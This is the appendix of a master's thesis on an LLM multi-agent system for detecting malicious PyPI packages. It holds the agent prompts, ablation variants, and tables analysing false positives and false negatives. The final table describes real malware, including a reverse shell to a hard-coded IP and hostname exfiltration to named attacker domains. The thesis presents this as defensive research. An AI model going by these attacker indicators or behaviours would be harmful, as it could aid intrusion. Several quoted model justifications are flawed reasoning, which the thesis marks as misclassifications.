



UNIVERSITY OF L'AQUILA

MASTER THESIS

Large Language Models based Multi-Agent Systems for Detecting Malicious PyPI Packages

Author:

Motunrayo Osatohanmen
IBIYO

Supervisor:

Prof. Phuong T. NGUYEN

Co-supervisor:

Prof. Davide DI RUSCIO

Dr. Claudio DI SIPIO

Corso di Laurea Magistrale in Informatica

Department of Information Engineering, Information Sciences and
Mathematics

Academic Year 2024/2025

This thesis was conducted within the Erasmus Mundus Joint Master Degree Programme on the Engineering of Data-intensive Intelligent Software Systems (EDISS).



Acknowledgements

I would like to express my sincere gratitude to my supervisor, Professor Phuong T. Nguyen, Professor Davide Di Rusio, and Dr. Claudio Di Sipio for their invaluable advice, support, and mentorship throughout the course of this thesis. Their guidance has been crucial to my academic development and I am deeply appreciative of their time and effort.

I am also grateful to Åbo Akademi Faculty of Science and Engineering and CSC Finland for providing me with the resources and facilities necessary to conduct the experiments for this thesis. Their support enabled me to carry out this research effectively.

I would like to extend my heartfelt thanks to EDISS programme coordinator Professor Sebastien Lafond and Professor Henry Muccini for offering me this opportunity. A special mention goes to Letizia Giorgetta for her unwavering assistance in navigating the complexities of administrative processes, always offering help with kindness and patience.

I am incredibly fortunate to have the continuous support of my family and friends. I would like to express my deepest appreciation to my parents, sisters (Bosede and Mubo), and brothers (Ibiyemi and Mayowa) for their love, unwavering support, and constant encouragement. Lastly, I am profoundly grateful to Onyebuchi Onwujie, my boyfriend, for his daily support and encouragement, which have been an invaluable source of strength.

Contents

Acknowledgements	iii
A Prompts	1
A.1 Root Agent Prompt	1
A.2 Meta Data Agent Prompt	2
A.3 Classification Agent Prompt	3
A.4 Single Classification Agent Prompt	4
B Context	5
C Ablation Experiment Prompts	7
C.1 Ablation Study: Modified prompt with no profile details	7
C.1.1 Root Agent Prompt	7
C.1.2 Meta Data Agent Prompt	8
C.1.3 Classification Agent Prompt	9
C.2 Ablation Study: Modified prompt with no tool or state information . .	10
C.2.1 Root Agent Prompt	10
C.2.2 Meta Data Agent Prompt	11
C.2.3 Classification Agent Prompt	12
D Qualitative Analysis: False Positive Analysis	13
D.1 False Positive Analysis - GPT-4O-mini MAMPD	13
D.2 False Positive Analysis – Gemini 2.5 Flash MA-MPD	16
E Qualitative Analysis: False Positive Analysis	25
E.1 False Negative Analysis - GPT-4O-mini MAMPD	25
F GPT-4o-mini and Gemini2.5 Flash Justification Comparison	27
F.1 Comparison of MA-MPD justifications and Backstabber Details	27

List of Figures

List of Tables

D.1	Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (gpt-4o-mini)	13
D.1	Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (gpt-4o-mini)	14
D.1	Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (gpt-4o-mini)	15
D.2	Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)	16
D.2	Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)	17
D.2	Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)	18
D.2	Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)	19
D.2	Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)	20
D.2	Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)	21
D.2	Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)	22
D.2	Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)	23
E.1	Manual inspection of justification for packages incorrectly classified as benign (false negatives) by MA-MPD	25
F.1	Comparison of GPT and Gemini Justification Evaluation	27

List of Abbreviations

LLM	Large Language Model
OSS	Open Source Software
PyPI	Python Package Index
RAG	Retrieval Augmented Generation
MAS	Multi Agent Systems
MA-MPD	Multi Agent-Malicious Package Dectector

Appendix A

Prompts

A.1 Root Agent Prompt

You are the ROOT agent in a multi-agent system responsible for initiating the Python package analysis workflow.

In this task, your goal is to perform the initial processing steps.

Your Responsibilities:

1. **Receive and Interpret Input:** Input will be a path to either a compressed Python package (e.g., .tar.gz, .zip) or a folder.
2. **Extract and Format the Package:**
 - Identify whether the input is an archive or a folder.
 - Use the appropriate tool ('unpack_archive' or 'unpack_folder') to extract the package contents.
 - Format the extracted content into a structured JSON representation that captures file paths and file content.
3. **Update the Shared Context:** Store the path to the formatted JSON file under the key *package_formatted_path*.
4. **Return Output to User:** Your task is complete once the formatted package has been extracted and its location stored in context.

Output Format:

Return the value of *package_formatted_path* in your final output.

Protocol:

- Ensure that the extraction is successful before attempting to format.
- Validate the output path exists and is accessible.
- If any issue occurs, return an appropriate error message.

Begin by acknowledging the input path, perform the extraction, store the JSON file path, and conclude by outputting the 'package_formatted_path'.

A.2 Meta Data Agent Prompt

You are the Metadata Extraction Agent in a multi-agent system responsible for analysing Python packages for malicious behaviour.

Your task is to extract rich metadata from a preformatted JSON representation of the package. The JSON path is provided via the context key *package_formatted_path*.

Your Responsibilities:

1. Load the formatted package using the given path.
2. Use all available tools in parallel to extract metadata.
3. Populate the shared context with the extracted data.

WORKFLOW:

1. Load the JSON file from *package_formatted_path*.
2. Extract the following metadata with the `extract_package_info` tool:
 - Package name
 - Version
 - Metadata version
 - Author name and email
 - Homepage URL
 - Summary and full description
 - Total number of files
 - Number of Python files
 - List of Python file paths

PROTOCOL:

- Do not explain your actions or output code examples.
- If *package_formatted_path* is missing or invalid, raise an error Immediately.
- Ensure all outputs are structured and added to the shared context.

After updating the context, return a short description of your results.

A.3 Classification Agent Prompt

You are the classification agent tasked with determining whether a Python package is malicious or benign based on the provided metadata and behavioural insights.

Input:

Structured metadata about the package

A list of all Python files contained in the package

Your Responsibilities:

Focus primarily on setup.py and init.py files. Use the get_python_script tool to access their contents if they are part of the available Python files listed in the metadata information. If these files are missing, check for similarly named files (e.g., __init__.py.py, setup.p.py) and mark those for analysis.

Inspect imports in these files to identify other Python files they depend on.

Compare imported files against available package files to detect suspicious or unexpected dependencies.

Analyze at most three imported Python files from the initial files combined. **Do not follow imports recursively beyond this limit.**

Combine metadata and script analysis to assess whether the package is malicious or benign.

Make a binary decision by classifying the package as either malicious or benign.

Provide a concise justification for your decision, referencing specific evidence from the context.

Return:

- classification
- justification
- name(s) of any suspicious file(s)

Important notes:

Limit your inspection to only those files explicitly imported by setup.py and __init__.py (or their substitutes). Do not recursively explore imports beyond the first level.

Analyze no more than three additional Python files total, unless clear malicious indicators require noting suspicious dependencies.

Avoid analysing all files unnecessarily, especially in packages with many Python files.

DO NOT EXECUTE ANY CODE. Base your analysis solely on the provided information; avoid speculation.

A.4 Single Classification Agent Prompt

You are a classification agent responsible for analyzing a Python package to determine if it is malicious or benign. Perform three stages of work: initial processing, metadata extraction, and final classification.

Your Responsibilities:

1. Receive and interpret input

- Input is a path to a compressed Python package (`.tar.gz`) or a folder.

2. Extract and format the package

- Identify if the input is an archive or folder.
- Use the appropriate method (`unpack_archive` or `unpack_folder`) to extract the contents.
- Format the extracted contents into a structured JSON file including:
 - File paths
 - File content
- Store the JSON path in context as `package_formatted_path`.
- Confirm extraction is successful and the path is valid.

3. Extract metadata

- Load the JSON using `package_formatted_path`.
- Extract:
 - Package name, version, metadata version, author name, email, homepage URL, summary, description
 - Total number of files, number of Python files, list of Python file paths
- Store all extracted metadata in context.

4. Classify the package

- Use metadata and file list to locate `setup.py` and `__init__.py` (or similar files).
- Read their contents.
- Identify imports; cross-check with available Python files.
- Inspect at most three Python files (no recursion) directly imported by either `setup.py` or `__init__.py`.
- Assess whether the package shows malicious behavior using script contents and metadata.

Decision

- Assign `ctx.context.package_class` as either “malicious” or “benign”.
- Provide reasoning in `ctx.context.classification_explanation` with clear evidence.
- Name any suspicious files found.

Appendix B

Context

```

1 from pydantic import BaseModel, Field
2 from typing import Any, Optional, Dict, List
3 from typing_extensions import Annotated
4
5 class MASState(BaseModel):
6     package_location: str = ""
7     package_name: Optional[str] = None
8     package_version: Optional[str] = None
9     metadata_version: Optional[str] = None
10    author_name: Optional[str] = None
11    author_email: Optional[str] = None
12    package_homepage: Optional[str] = None
13    package_summary: Optional[str] = None
14    package_description: Optional[str] = None
15
16    package_formatted_path: Optional[str] = None
17
18    num_of_files: Optional[int] = None
19    num_of_python_files: Optional[int] = None
20
21    available_python_files: List[str] = Field(default_factory=list)
22    package_behaviour: Dict[str, Any] = Field(default_factory=dict)
23    suspicious_malicious_files: Dict[str, Any] = Field(default_factory=dict)
24    guidelines: Optional[str] = None
25
26    messages: List[str] = Field(default_factory=list)
27    package_class: Annotated[List[Any], None] = Field(default_factory=list)
28    classification_explanation: Annotated[List[Any], None] = Field(default_factory=
    ↪ list)
29    error: Optional[str] = None
30
31    async def add_message(self, update: Any) -> None:
32        self.messages.append(str(update))
33
34    async def updated(self, **changes) -> "MASState":
35        return self.copy(update=changes)
36
37    async def get_formatted_path(self) -> str:
38        if self.package_formatted_path is None:
39            raise ValueError("Package formatted path is not set.")
40        return self.package_formatted_path

```

LISTING B.1: MASState context used as the shared context model

Appendix C

Ablation Experiment Prompts

C.1 Ablation Study: Modified prompt with no profile details

C.1.1 Root Agent Prompt

You are part of a multi-agent system responsible for analyzing Python packages for malicious behavior.

In this task, your goal is to perform the initial processing steps.

Your Responsibilities:

1. **Receive and Interpret Input:** Input will be a path to either a compressed Python package or a folder.
2. **Extract and Format the Package:**
 - Identify whether the input is an archive or a folder.
 - Use the appropriate tool ('unpack_archive' or 'unpack_folder') to extract the package contents.
 - Format the extracted content into a structured JSON representation that captures file paths and file content.
3. **Update the Shared Context:** Store the path to the formatted JSON file under the key *package_formatted_path*.
4. **Return Output to User:** Your task is complete once the formatted package has been extracted and its location stored in context.

Output Format:

Return the value of *package_formatted_path* in your final output.

Protocol:

- Ensure that the extraction is successful before attempting to format.
- Validate the output path exists and is accessible.
- If any issue occurs, return an appropriate error message.

Begin by acknowledging the input path, perform the extraction, store the JSON file path, and conclude by outputting the 'package_formatted_path'.

C.1.2 Meta Data Agent Prompt

You are part of a multi-agent system responsible for analyzing Python packages for malicious behavior.

Your task is to extract rich metadata from a preformatted JSON representation of the package. The JSON path is provided via the context key *package_formatted_path*.

Your Responsibilities:

1. Load the formatted package using the given path.
2. Use all available tools in parallel to extract metadata.
3. Populate the shared context with the extracted data.

WORKFLOW:

1. Load the JSON file from *package_formatted_path*.
2. Extract the following metadata with the `extract_package_info` tool:
 - Package name
 - Version
 - Metadata version
 - Author name and email
 - Homepage URL
 - Summary and full description
 - Total number of files
 - Number of Python files
 - List of Python file paths

PROTOCOL:

- Do not explain your actions or output code examples.
- If *package_formatted_path* is missing or invalid, raise an error Immediately.
- Ensure all outputs are structured and added to the shared context.

After updating the context, return a short description of your results.

C.1.3 Classification Agent Prompt

You are part of a multi-agent system responsible for analysing Python packages for malicious behaviour.

Input:

- Structured metadata about the package
- A list of all Python files contained in the package

Your Responsibilities:

Focus primarily on `setup.py` and `init.py` files. Use the `get_python_script` tool to access their contents if they are part of the available Python files listed in the metadata information. If these files are missing, check for similarly named files (e.g., `__init__.py.py`, `setup.p.py`) and mark those for analysis.

Inspect imports in these files to identify other Python files they depend on.

Compare imported files against available package files to detect suspicious or unexpected dependencies.

Analyse at most three imported Python files from the initial files combined. **Do not follow imports recursively beyond this limit.**

Combine metadata and script analysis to assess whether the package is malicious or benign.

Make a binary decision by classifying the package as either malicious or benign.

Provide a concise justification for your decision, referencing specific evidence from the context.

Return:

- classification
- justification
- name(s) of any suspicious file(s)

Important notes:

Limit your inspection to only those files explicitly imported by `setup.py` and `__init__.py` (or their substitutes). Do not recursively explore imports beyond the first level.

Analyse no more than three additional Python files total, unless clear malicious indicators require noting suspicious dependencies.

Avoid analysing all files unnecessarily, especially in packages with many Python files.

DO NOT EXECUTE ANY CODE. Base your analysis solely on the provided information; avoid speculation.

You are the ROOT Agent in a multi-agent system responsible for initiating the Python package analysis workflow.

In this task, your goal is to perform the initial processing steps.

Your Responsibilities: ****Extract and Format the Package:**** - Use the appropriate tool to extract the package contents. - Format the extracted content into a structured JSON representation that captures the File paths and File content

3. ****Update the Shared Context:**** - Store the path to the formatted JSON file under the appropriate key.

4. ****Return Output to User:**** - Your task is complete once the formatted package has been extracted and its location stored in context.

C.2 Ablation Study: Modified prompt with no tool or state information

C.2.1 Root Agent Prompt

You are the ROOT Agent in a multi-agent system responsible for initiating the Python package analysis workflow.

In this task, your goal is to perform the initial processing steps.

Your Responsibilities: 1. ****Extract and Format the Package:**** - Use the appropriate tool to extract the package contents. - Format the extracted content into a structured JSON representation that captures the File paths and File content

3. ****Update the Shared Context:**** - Store the path to the formatted JSON file under the appropriate key.

4. ****Return Output to User:**** - Your task is complete once the formatted package has been extracted and its location stored in context.

Output Format:

Return the value of the formatted file path in your final output.

Protocol:

- Ensure that the extraction is successful before attempting to format.
- Validate the output path exists and is accessible.
- If any issue occurs, return an appropriate error message.

Begin by acknowledging the input path, perform the extraction, store the JSON file path, and conclude by outputting the 'package_formatted_path'.

C.2.2 Meta Data Agent Prompt

You are the Metadata Extraction Agent in a multi-agent system responsible for analysing Python packages for malicious behaviour.

Your task is to extract rich metadata from a preformatted JSON representation of the package.

Your Responsibilities:

1. Load the formatted package using the given path.
2. Extract metadata.
3. Populate the shared context with the extracted data.

WORKFLOW:

1. Load the preformatted JSON file.
2. Extract the following metadata:
 - Package name
 - Version
 - Metadata version
 - Author name and email
 - Homepage URL
 - Summary and full description
 - Total number of files
 - Number of Python files
 - List of Python file paths

PROTOCOL:

- Do not explain your actions or output code examples.
- - If json file is missing or invalid, raise an error immediately.
- Ensure all outputs are structured and added to the shared context.

Return a short description of your results.

C.2.3 Classification Agent Prompt

You are the classification agent tasked with determining whether a Python package is malicious or benign based on the provided metadata and behavioural insights.

Input:

Structured metadata about the package

A list of all Python files contained in the package

Your Responsibilities:

Access the contents of scripts in the package starting from the point of entry.

Inspect imports in these files to identify other Python files they depend on.

Compare imported files against available package files to detect suspicious or unexpected dependencies.

Analyze at most three imported Python files from the initial files combined. Do not follow imports recursively beyond this limit.

Combine metadata and script analysis to assess whether the package is malicious or benign.

Make a binary decision by classifying the package as either malicious or benign.

Provide a concise justification for your decision, referencing specific evidence from the context.

Return:

- classification
- justification
- name(s) of any suspicious file(s)

Important notes:

Limit your inspection to only those files explicitly imported by `setup.py` and `__init__.py` (or their substitutes). Do not recursively explore imports beyond the first level.

Analyze no more than three additional Python files total, unless clear malicious indicators require noting suspicious dependencies.

Avoid analysing all files unnecessarily, especially in packages with many Python files.

DO NOT EXECUTE ANY CODE. Base your analysis solely on the provided information; avoid speculation.

Appendix D

Qualitative Analysis: False Positive Analysis

D.1 False Positive Analysis - GPT-4O-mini MAMPD

TABLE D.1: Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MAMPD (gpt-4o-mini)

package_name	justification	suspicious_files	Benign Source
tbllib-1.7.0	The package contains suspicious files named 'badmodule.py' and 'badsyntax.py', which suggests potential malicious intent. The presence of 'bad' in the file-names raises significant red flags in terms of their purpose. Additionally, the package's setup script does not contain any malicious content, but the naming convention of certain files directly implies harmful functionality, leading to the classification as malicious.	badmodule.py, badsyntax.py	Masked Benign

Continued on next page

TABLE D.1: Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (gpt-4o-mini)

package_name	justification	suspicious_files	Benign Source
authcaptureproxy-1.1.4	The package 'authcaptureproxy' is designed to create a proxy for capturing authentication information from webpages, specifically highlighting the ability to capture OAuth login details. This functionality presents a significant risk of misuse for malicious purposes such as credential theft. The dependencies include libraries like 'aiohttp', 'beautifulsoup4', and 'httpx' which can be leveraged to facilitate HTTP requests and scraping, raising red flags regarding the potential for misuse. Additionally, the documentation explicitly mentions usage that captures sensitive information, indicating intent rather than benign functionality.	setup.py	Masked Benign
selenium-wire-4.6.5	The package is classified as malicious due to its reliance on 'undetected_chromedriver', which is designed to automate web browsers while circumventing detection mechanisms such as those used by websites to prevent automated scraping. Coupled with the ability of the RequestModifier class to extensively manipulate HTTP requests and responses, including custom header injections and URL rewrites, this raises significant red flags about its intended use. The combination of these factors leans heavily towards malicious behavior, particularly in the context of bypassing security measures.	webdriver.py	Benign from PyPi

Continued on next page

TABLE D.1: Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MAMPD (gpt-4o-mini)

package_name	justification	suspicious_files	Benign Source
dodgy-0.2.1	The package contains significant indicators of malicious behavior. The file 'run.py' reveals that it can search the filesystem for files and check them for hardcoded secrets, SSH keys, and other sensitive information. This behavior is typically associated with tools used for data exfiltration or reconnaissance in malicious contexts. Furthermore, 'checks.py' contains regular expressions designed to detect sensitive information, suggesting that this package is meant to be scrutinized for potential security vulnerabilities or data leaks, which can be seen as a warning sign. Also, it indicates a lack of transparency in its specified package metadata, such as missing authorship and purpose information.	run.py, checks.py	Benign from PyPi
cfscrape-2.1.1	The package contains a script that interacts with Cloudflare's anti-bot system. It includes functionality to bypass captcha challenges using techniques that scrape content from Cloudflare-protected sites. This behavior is typical of tools designed for malicious scraping or accessing and exploiting protected web content, suggesting that the package is intended for unauthorized access to web services. The import of 'user_agents' indicates the ability to randomize user agents, further pointing to an intent to evade detection. The combination of these features classifies the package as malicious.	user_agents.py	Benign from PyPi

D.2 False Positive Analysis – Gemini 2.5 Flash MA-MPD

TABLE D.2: Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)

package_name	justification	suspicious_files	Benign Source
aiohttp_retry	The package is suspicious due to the lack of content in the majority of the Python files, which is highly unusual for a functional package. This absence of code in expected locations is a red flag.	__init__.py, client.py, retry_options.py, types.py	Masked Benign
args	The 'args.py' file is empty, which is highly unusual for a functional package and might indicate a non-functional package or even a typosquatting attempt.	args.py	Masked Benign
authcapture-proxy	The package is described as having the potential to be used maliciously for credential harvesting, and the description itself is suspicious due to its capability to capture authentication information.	auth_capture_proxy.py, cli.py	Masked Benign
brotlicffi	The package has mostly empty Python files, which is highly unusual, and the repeated empty responses could indicate obfuscation or an issue with the package, suggesting potential malicious intent.	_build.py, __init__.py	Masked Benign
colour	The package is suspicious due to the 'setup.py' file attempting to execute an external shell script named 'autogen.sh', which could potentially run arbitrary malicious code during installation. Additionally, the 'colour.py' file is completely empty, suggesting the package's functionality might rely on external components rather than standard Python code.	setup.py, autogen.sh, colour.py	Masked Benign

Continued on next page

TABLE D.2: Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)

package_name	justification	suspicious_files	Benign Source
cookies	The package is suspicious/potentially malicious due to the empty core logic and test files, which contradicts the package's declared functionality, raising significant red flags.	cookies.py, test_cookies.py	Masked Benign
djangoREST framework-api-key	The 'setup.py' file appears to be benign and provides standard information for a Django REST Framework API key package. However, attempts to retrieve the content of other crucial Python files like 'models.py', 'permissions.py', and 'crypto.py' returned empty content. For a functional package, especially one dealing with API keys and permissions, these files are expected to contain significant code. The discrepancy between the listed available files and their actual empty content is highly suspicious and suggests potential malicious intent or a non-functional package disguised as legitimate.	models.py, per- missions.py, crypto.py	Masked Benign
drf-nested-routers	The package is classified as suspicious due to the presence of multiple empty Python files which is highly unusual for a functional Django Rest Framework package, raising significant red flags about its intended functionality and potential for malicious behavior.	__init__.py, routers.py, urls.py, set- tings.py, se- rializers.py, viewsets.py, runcoverage.py, runtests.py	Masked Benign

Continued on next page

TABLE D.2: Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)

package_name	justification	suspicious_files	Benign Source
EasyProcess	The package is classified as highly suspicious due to the extreme lack of functionality in almost all examined Python files, suggesting it is either non-functional or potentially obfuscated/decoy. While no specific malicious functions or imports have been detected, the inability for the package to operate as described makes it highly suspect.	cmd.py, log.py, __init__.py, test_proc.py, timeout.py, about.py, unicodeutil.py, hello.py	Masked Benign
exit_codes	The package is classified as malicious due to the complete lack of content in its functional files, which raises red flags about its non-functional state and potential for being a placeholder for a dependency confusion attack or part of a typosquatting scheme.	exit_codes.py, version.py, __init__.py, exit_code_error.py	Masked Benign
expandvars	The primary Python module file, 'expandvars.py', is empty, which is highly unusual for a functional package and raises significant concerns about its legitimacy. Without content in this file, it's impossible to verify the claimed functionality or rule out malicious code.	expandvars.py	Masked Benign
flaskoidc	The absence of code in the crucial Python files '__init__.py', 'models.py', and 'config.py' is a significant red flag, indicating potential issues such as an incomplete package or a subtly malicious package relying on hidden mechanisms.	__init__.py, models.py, config.py	Masked Benign
fusepy	The absence of code in 'fuse.py' indicates that this package is either incomplete, non-functional, or potentially designed to hide its true intent.	fuse.py	Masked Benign

Continued on next page

TABLE D.2: Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)

package_name	justification	suspicious_files	Benign Source
HiYaPyCo	The package is suspicious due to its highly atypical structure, characterized by numerous empty Python files, which raises significant red flags. While no direct evidence of malicious code was found, the pervasive emptiness of a significant number of Python files is highly anomalous for a functional software package.	odyldo.py, __init__.py, version.py, test_simple.py, test_interpolation.py	Masked Benign
j2cli	The inability to retrieve the file contents is a significant red flag, as it could indicate an issue with the package extraction, obfuscation, or a potentially malicious attempt to hide code.	cli.py, __init__.py, context.py	Masked Benign
jsonformatter	The package is classified as suspicious due to the absence of any functional code where it should exist. While there is no direct evidence of malicious intent, an empty package that purports to offer functionality raises concerns.	jsonformatter.py, __init__.py, test.py, test_windows.py	Masked Benign
JsonSir	The ‘__init__.py’ and ‘serializer.py’ files are empty, which is unusual and concerning for a package described as a JSON-like data serializer. This could indicate an issue with the package dump or a potentially malicious attempt to hide code.	__init__.py, serializer.py, encoder.py	Masked Benign
kmodes	The package ‘kmodes’ has missing metadata information, which is suspicious as legitimate packages typically provide this information. Further investigation is required to determine if the package contains harmful code.	setup.py, __init__.py, testing.py	Masked Benign

Continued on next page

TABLE D.2: Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)

package_name	justification	suspicious_files	Benign Source
mdx_truly_sane_lists	The complete absence of functional code in a package that claims to provide specific functionality is highly unusual and suspicious. It suggests that the package might be incomplete, a placeholder, or potentially designed to hide its true purpose or rely on non-Python components not provided for analysis.	mdx_truly_sane_lists.py, __init__.py, setup.py	Masked Benign
oyaml	The 'oyaml.py' file, which should contain the core logic for this 'drop-in replacement,' is completely empty. A package claiming to provide specific functionality, especially as a 'drop-in replacement' for an existing library, but containing no code to implement that functionality is highly suspicious. This discrepancy suggests a deceptive purpose, such as typosquatting or serving as a placeholder for future malicious updates, which are often associated with malicious intent in software supply chain attacks.	setup.py, oyaml.py	Masked Benign
patch-ng	The 'patch_ng.py' file is empty, which is highly suspicious for a package claiming to be a 'Library to parse and apply unified diffs.' An empty core functionality file indicates that the package will not perform its stated purpose. The lack of content in 'patch_ng.py' suggests the package is either non-functional or potentially designed for purposes other than what is explicitly declared.	patch_ng.py	Masked Benign

Continued on next page

TABLE D.2: Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)

package_name	justification	suspicious_files	Benign Source
pip-licenses	The absence of code in the primary source file is a significant red flag and raises suspicion, even if the 'setup.py' seems harmless.	piplicenses.py, test_piplicenses.py	Masked Benign
pycodestyle_magic	The 'pycodestyle_magic.py' file is empty, which is suspicious for a package's main file. This could indicate that malicious code is hidden elsewhere, possibly in 'setup.py' or executed post-installation.	pycodestyle_magic.py, setup.py	Masked Benign
pyobjc-framework-NotificationCenter	The empty 'pyobjc_setup.py' file is unexpected and could indicate an issue with file extraction or deliberate obfuscation.	pyobjc_setup.py	Masked Benign
Pyrebase	The core Python files, specifically 'pyrebase.py', 'sseclient.py', and '__init__.py', are empty. This is highly unusual for a package that is supposed to provide functionality, suggesting it may be a placeholder or deceptive package.	pyrebase.py, sseclient.py, __init__.py	Masked Benign
pyscrypt	The package is classified as malicious due to its deceptive nature and the complete absence of the claimed cryptographic implementation, which misleads users into a false sense of security.	__init__.py, file.py, hash.py, aesctr.py	Masked Benign
retrying	The empty 'retrying.py' file is suspicious for a package named 'retrying', as it lacks the expected code for its advertised functionality, raising concerns about its legitimacy.	retrying.py	Masked Benign

Continued on next page

TABLE D.2: Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)

package_name	justification	suspicious_files	Benign Source
rjsmin	The empty 'rjsmin.py' raises a significant red flag regarding the package's quality and functionality, indicating a potential issue with the package's integrity or an oversight in its construction, which could lead to a 'RuntimeError' during installation.	rjsmin.py	Masked Benign
sanic-routing	The package is suspicious due to all core Python files being empty, which is highly unusual for a functional package. The absence of code in critical files raises significant red flags, suggesting potential issues like a corrupted package or an attempt to conceal functionality.	__init__.py, router.py, route.py, patterns.py, exceptions.py, utils.py	Masked Benign
selectors2	The 'selectors2' package appears to be suspicious due to the main module file 'selectors2.py' and the '__init__.py' file being empty. This is highly unusual for a functional Python package. An empty main module could indicate a placeholder for future malicious code, or an attempt to distribute a non-functional package.	selectors2.py, __init__.py	Masked Benign
selenium-wire-4.6.5	Error parsing Gemini output with GPT-4: Invalid final_output content. Raw response length: 0		Masked Benign
shyaml	The package exhibits suspicious behavior, including executing an external shell script during installation, which is a common characteristic of malicious packages.	setup.py, autogen.sh, shyaml.py	Masked Benign

Continued on next page

TABLE D.2: Manual inspection of justification and suspicious files for packages incorrectly classified as malicious (false positives) by MA-MPD (Gemini 2.5 Flash)

package_name	justification	suspicious_files	Benign Source
testing.postgresql	The absence of code in crucial files like 'postgresql.py', 'test_postgresql.py', and '__init__.py' raises a significant red flag, suggesting that the package may not perform its advertised function or could be a placeholder for something else.	postgresql.py, test_postgresql.py, __init__.py	Masked Benign
torchfile	The 'torchfile.py' file, which is expected to contain the core logic of the 'torchfile' package, is completely empty. A legitimate package designed to perform a specific function would contain code in its main module. The absence of any code in the primary Python file suggests that the package is either non-functional, incomplete, or potentially a placeholder for malicious activities.	torchfile.py	Masked Benign
WMI	The 'wmi.py' file is empty, which is unusual for a package named 'WMI' that is expected to contain core logic. This could be a red flag.	wmi.py	Masked Benign
xyzservices	The 'versioneer.py' file is empty, which is suspicious.	versioneer.py, __init__.py, lib.py, providers.py	Masked Benign

Appendix E

Qualitative Analysis: False Positive Analysis

E.1 False Negative Analysis - GPT-4O-mini MAMPD

TABLE E.1: Manual inspection of justification for packages incorrectly classified as benign (false negatives) by MA-MPD

Package Name	Justification	Review
salamus6	The setup.py file defines a package that aims to check for typoed libraries within the Python ecosystem. It utilizes setup-tools for installation and creates a simple text file upon installation. There are no suspicious imports or indications of malicious behavior. The author and package details do not point to any known malicious history.	The setup.py opens a file and writes <code>Create a new text file!</code> then runs it in a <code>postInstallCommand</code> so that this file is created whenever the package is installed. Although the content of the file is not harmful in itself, it is a suspicious behavior.

Appendix F

GPT-4o-mini and Gemini2.5 Flash Justification Comparison

F.1 Comparison of MA-MPD justifications and Backstabber Details

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
10cent10	999.0.4	['backdoor']	It creates a reverse shell to a hard-coded IP address giving the attacker full control over an infected machine. 104.248.19.57	The setup.py script implements a CustomInstall class that creates a reverse shell connection to a remote IP address (104.248.19.57) upon installation. Such behavior is indicative of a package intended for exfiltration and unauthorized access, classifying it as malicious.	The 'package_summary' in the metadata explicitly states "Exfiltration", which is a clear indicator of malicious intent.
					Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
10cent11	999.0.4	['backdoor']	It creates a reverse shell to a hard-coded IP address giving the attacker full control over an infected machine. 104.248.19.57	The package contains a setup script that establishes a socket connection to an external IP address (104.248.19.57) and redirects the input/output streams to that connection, effectively creating a backdoor. This behavior is indicative of malicious software designed for exfiltration or unauthorized access	The 'package_summary' explicitly states "Exfiltration," which indicates an intent to steal data. The presence of a 'setup.py' file, along with the other generic or unknown meta-data fields (author email, homepage, description), further supports this classification as 'setup.py' is often used to hide malicious code in such packages.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
aadhaarcrypt 1		['data exfiltration']	pon installation the package collects the system's username computer's name IP address and attempts to upload this information both via HTTP and DNS	The package AadhaarCrypt-1.0 includes code that collects sensitive information such as hostname and username, encodes it in Base64, and sends it to external domains using HTTP requests. The use of hardcoded domains (sub.deliverycontent.online and www.deliverycontent.online) for data transmission is characteristic of data exfiltration, portraying the package as malicious. The inclusion and functionality of the code indicate a strong risk to user privacy and security, implying it is designed to perform unauthorized operations.	The package is classified as malicious due to its behaviors such as data collection and exfiltration, multiple exfiltration methods, and obfuscation. The code collects sensitive system information and sends it to external domains using various methods to increase success. The data is encoded to obfuscate the transmitted information, which are common tactics in malware.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
